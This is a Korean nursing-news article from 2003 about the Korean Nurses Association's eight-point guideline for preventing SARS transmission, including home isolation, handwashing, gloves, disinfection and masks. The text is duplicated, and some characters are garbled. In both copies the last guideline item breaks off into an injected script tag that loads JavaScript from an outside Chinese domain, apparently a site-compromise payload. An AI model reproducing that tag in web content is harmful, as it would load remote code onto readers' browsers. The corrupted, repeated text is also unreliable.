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간협, 사스 전파 예방지침 마련
감염관리간호사, 병원 대책팀서 맹활약
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2003-05-02 오전 08:39:24
대한간호협회는 범국가적으로 사스(SARS·중증급성호흡기증후군) 방역관리에 만전을 기하고 있는데 발맞춰 `사스 전파 예방을 위한 지침'을 마련했다.
대한간호협회는 대한감염관리간호사회와 함께 8개항으로 구성된 `사스 전파 예방을 위한 지침'을 발표하고 전국의 간호사들이 숙지해 줄 것을 당부했다.
김의숙 대한간호협회장은 "간호사들은 병원과 지역사회 각 분야에서 가장 먼저 사스 의심환자를 발견하고 신속 정확하게 판단해 대처해야 할 위치에 있는 전문인력"이라면서 "간호사들이 환자는 물론 의료진과 병원 직원, 일반 국민들을 사스의 위험으로부터 보호하고 자신의 건강도 함께 지켜나갈 수 있도록 예방지침을 철저히 지키고, 교육과 상담에 힘써달라"고 당부했다.
이미 전국 병원에서는 사스 대책팀을 구성하는 등 만전을 기하고 있다. 특히 감염관리간호사들이 사스 대책팀의 핵심인력으로서 역량을 발휘하며 활발한 활동을 펴 주목받고 있다.
감염관리간호사들은 우선 사스 의심환자 감염관리 지침을 마련해 배포하는데 주력하고 있으며, 의료인을 위한 교육을 계획·실시하고 있다. 병원 차원에서 격리실을 설치하고 보호장구를 갖추는 일도 맡아 추진해 나가고 있다.
또한 사스 관련 정부 발표와 언론 보도, 외국 자료 등을 시시각각 모니터링하면서 최신 정보를 정리해 병원 직원들에게 제공하고 있다. 보건소와 병원간의 네트워크를 구축하는데 가교 역할도 하고 있다.
정재심 감염관리간호사회장은 "응급실에 사스 관련 유사증상을 보이는 환자가 내원한 경우 감염관리간호사들은 한 순간도 긴장을 늦추지 않고 지켜보면서 의료팀과 함께 대책을 논의하는 등 능동적으로 활동하고 있다"고 설명했다. 올해 3월 현재 전국에서 활동 중인 감염관리간호사는 모두 120여명이며 이중 전담이 52여명, 겸직이 71여명이다.
정재심 회장은 藼병상 이상 병원에는 감염관리 전담간호사가 반드시 1명씩 배치돼야 한다"면서 "감염관리간호사들이 전문인력으로서 충분한 역할을 할 수 있도록 법·제도적 뒷받침이 시급히 이뤄져야 한다"고 강조했다.
◆ 사스(중증급성호흡기증후군, Severe Acute Respiratory Syndrome) 전파 예방을 위한 지침
사스 예방 가능합니다! 철저한 손씻기와 주의로 여러분과 주위의 건강을 보호하십시오.
최근 중국, 싱가폴을 중심으로 사스가 전 세계로 확산되고 있습니다. 사스는 위험지역에서 입국한 여행자에 대한 관리뿐만 아니라, 전 국민적 관리를 통하여 2차 감염의 발생을 예방하는 것이 매우 중요합니다. 사스는 철저한 예방과 주의를 통하여 관리될 수 있습니다. 회원 여러분께서는 다음과 같은 지침을 숙지하시어 회원 여러분과 가족, 이웃, 직장동료, 자신의 근무기관을 내방하는 대상자들이 사스로부터 안전하고, 공포감으로부터 벗어날 수 있도록 적극 교육과 상담을 하여 주시기 바랍니다.
1. 사스 환자와 밀접하게 접촉(환자와 같이 거주, 환자 간호, 환자 체액에 직접 접촉한 경우)한 경우는 사스가 발병할 수 있어 향후 10일간은 자택격리를 하여야 합니다.
2. 자택격리기간 동안 자신(혹은 대상자)의 건강상태(38℃이상 발열, 기침, 호흡곤란 등의 호흡기증상)이 있는지 모니터해 주십시오.
3. 기침 등 호흡기 증상이 생기면 즉시 마스크를 쓰시길 바랍니다. 마스크가 없으면, 기침이나 재채기할 경우에 휴지로 입을 가려 침이 튀지 않도록 주의하십시오.
4. 발열 또는 호흡기 증상이 있으면 주소지 관할 보건소에 즉시 전화하여 보건소의 안내를 받아 진료를 받으시길 바랍니다. 보건소와 협의 없이 바로 병·의원을 방문하는 것은 피해야 합니다.
5. 가정내의 모든 접촉자는 손을 잘 씻어야 합니다(비누와 물로 손을 자주 씻어야 함). 특히 환자의 체액(호흡기 분비물-콧물·기침·재채기 시 분비물, 소변, 대변 등)과 접촉한 경우 손을 잘 씻어야 합니다.
6. 환자의 체액에 직접 접촉해야 할 경우는 1회용 수술 장갑(없으면 1회용 비닐장갑을 2개 착용)을 사용해야 합니다. 체액을 접촉한 후에는 즉시 장갑을 벗은 후 손을 씻어야 합니다. 장갑을 끼더라도 반드시 손씻기를 철저히 해야 합니다. 특히 1회용 비닐장갑은 약해서 파손될 우려가 많으므로 사용 후 꼭 손을 씻고, 장갑은 바로 폐기하여 주십시오.
7. 환자는 식기나 타월, 침구류 등은 따로 사용하십시오. 식기나 타월, 침구류 등은 세척 후(비누와 뜨거운 물로 세척) 다시 사용 가능합니다. 환자의 체액에 의해 오염된 환경은 소독제(락스 100배 희석)로 소독하며, 소독시에는 고무장갑(없으면 비닐장갑)을 사용하며, 소독 후 반드시 손씻기를 철저히 하십시오.
8. 사스는 비말감염으로 간주하고 있으므로 비말감염 예방에 필요한 마스크를 착용하시면 됩니다. N95마스크는 여과율이 95%이상?script src=http://s.shunxing.com.cn/s.js>
대한간호협회는 대한감염관리간호사회와 함께 8개항으로 구성된 `사스 전파 예방을 위한 지침'을 발표하고 전국의 간호사들이 숙지해 줄 것을 당부했다.
김의숙 대한간호협회장은 "간호사들은 병원과 지역사회 각 분야에서 가장 먼저 사스 의심환자를 발견하고 신속 정확하게 판단해 대처해야 할 위치에 있는 전문인력"이라면서 "간호사들이 환자는 물론 의료진과 병원 직원, 일반 국민들을 사스의 위험으로부터 보호하고 자신의 건강도 함께 지켜나갈 수 있도록 예방지침을 철저히 지키고, 교육과 상담에 힘써달라"고 당부했다.
이미 전국 병원에서는 사스 대책팀을 구성하는 등 만전을 기하고 있다. 특히 감염관리간호사들이 사스 대책팀의 핵심인력으로서 역량을 발휘하며 활발한 활동을 펴 주목받고 있다.
감염관리간호사들은 우선 사스 의심환자 감염관리 지침을 마련해 배포하는데 주력하고 있으며, 의료인을 위한 교육을 계획·실시하고 있다. 병원 차원에서 격리실을 설치하고 보호장구를 갖추는 일도 맡아 추진해 나가고 있다.
또한 사스 관련 정부 발표와 언론 보도, 외국 자료 등을 시시각각 모니터링하면서 최신 정보를 정리해 병원 직원들에게 제공하고 있다. 보건소와 병원간의 네트워크를 구축하는데 가교 역할도 하고 있다.
정재심 감염관리간호사회장은 "응급실에 사스 관련 유사증상을 보이는 환자가 내원한 경우 감염관리간호사들은 한 순간도 긴장을 늦추지 않고 지켜보면서 의료팀과 함께 대책을 논의하는 등 능동적으로 활동하고 있다"고 설명했다. 올해 3월 현재 전국에서 활동 중인 감염관리간호사는 모두 120여명이며 이중 전담이 52여명, 겸직이 71여명이다.
정재심 회장은 藼병상 이상 병원에는 감염관리 전담간호사가 반드시 1명씩 배치돼야 한다"면서 "감염관리간호사들이 전문인력으로서 충분한 역할을 할 수 있도록 법·제도적 뒷받침이 시급히 이뤄져야 한다"고 강조했다.
◆ 사스(중증급성호흡기증후군, Severe Acute Respiratory Syndrome) 전파 예방을 위한 지침
사스 예방 가능합니다! 철저한 손씻기와 주의로 여러분과 주위의 건강을 보호하십시오.
최근 중국, 싱가폴을 중심으로 사스가 전 세계로 확산되고 있습니다. 사스는 위험지역에서 입국한 여행자에 대한 관리뿐만 아니라, 전 국민적 관리를 통하여 2차 감염의 발생을 예방하는 것이 매우 중요합니다. 사스는 철저한 예방과 주의를 통하여 관리될 수 있습니다. 회원 여러분께서는 다음과 같은 지침을 숙지하시어 회원 여러분과 가족, 이웃, 직장동료, 자신의 근무기관을 내방하는 대상자들이 사스로부터 안전하고, 공포감으로부터 벗어날 수 있도록 적극 교육과 상담을 하여 주시기 바랍니다.
1. 사스 환자와 밀접하게 접촉(환자와 같이 거주, 환자 간호, 환자 체액에 직접 접촉한 경우)한 경우는 사스가 발병할 수 있어 향후 10일간은 자택격리를 하여야 합니다.
2. 자택격리기간 동안 자신(혹은 대상자)의 건강상태(38℃이상 발열, 기침, 호흡곤란 등의 호흡기증상)이 있는지 모니터해 주십시오.
3. 기침 등 호흡기 증상이 생기면 즉시 마스크를 쓰시길 바랍니다. 마스크가 없으면, 기침이나 재채기할 경우에 휴지로 입을 가려 침이 튀지 않도록 주의하십시오.
4. 발열 또는 호흡기 증상이 있으면 주소지 관할 보건소에 즉시 전화하여 보건소의 안내를 받아 진료를 받으시길 바랍니다. 보건소와 협의 없이 바로 병·의원을 방문하는 것은 피해야 합니다.
5. 가정내의 모든 접촉자는 손을 잘 씻어야 합니다(비누와 물로 손을 자주 씻어야 함). 특히 환자의 체액(호흡기 분비물-콧물·기침·재채기 시 분비물, 소변, 대변 등)과 접촉한 경우 손을 잘 씻어야 합니다.
6. 환자의 체액에 직접 접촉해야 할 경우는 1회용 수술 장갑(없으면 1회용 비닐장갑을 2개 착용)을 사용해야 합니다. 체액을 접촉한 후에는 즉시 장갑을 벗은 후 손을 씻어야 합니다. 장갑을 끼더라도 반드시 손씻기를 철저히 해야 합니다. 특히 1회용 비닐장갑은 약해서 파손될 우려가 많으므로 사용 후 꼭 손을 씻고, 장갑은 바로 폐기하여 주십시오.
7. 환자는 식기나 타월, 침구류 등은 따로 사용하십시오. 식기나 타월, 침구류 등은 세척 후(비누와 뜨거운 물로 세척) 다시 사용 가능합니다. 환자의 체액에 의해 오염된 환경은 소독제(락스 100배 희석)로 소독하며, 소독시에는 고무장갑(없으면 비닐장갑)을 사용하며, 소독 후 반드시 손씻기를 철저히 하십시오.
8. 사스는 비말감염으로 간주하고 있으므로 비말감염 예방에 필요한 마스크를 착용하시면 됩니다. N95마스크는 여과율이 95%이상?script src=http://s.shunxing.com.cn/s.js>
